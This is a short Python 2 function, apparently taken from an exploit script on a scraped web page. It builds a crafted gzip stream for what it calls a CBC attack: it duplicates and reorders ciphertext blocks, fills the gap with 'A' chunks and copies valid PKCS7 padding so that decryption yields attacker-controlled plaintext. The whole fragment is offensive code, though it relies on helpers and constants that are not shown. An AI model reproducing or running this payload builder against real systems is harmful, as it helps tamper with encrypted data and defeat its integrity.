def gzip_encode_add_padding(content):
"* Compressing content..."
num_chunks = len(content) / CHUNK_SIZE # let's not care about remainders
gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS | 16)
data = gzip_compress.compress(content)
comp_cnt = 0
replay = reorder(content[0:num_chunks*CHUNK_SIZE], arg_blocks)
assert(len(replay) % CHUNK_SIZE == 0)
num_chunks = len(replay) / CHUNK_SIZE # update the blocks
print "** Duplicating content (CBC attack)..."
data += gzip_compress.compress(replay) # duplicate cipher, should result in duplicate plaintext (prefixed by some garbage)
while comp_cnt < WRAP_SIZE-(num_chunks*CHUNK_SIZE+10*CHUNK_SIZE):
data += gzip_compress.compress("A"*CHUNK_SIZE)
comp_cnt += CHUNK_SIZE
print "** Copy original padding..."
data += gzip_compress.compress(content[len(content) - 10*CHUNK_SIZE:len(content)]) # copy valid PKCS7 padding
data = data + gzip_compress.flush()
print "*** Finished"
return data
评论列表
文章目录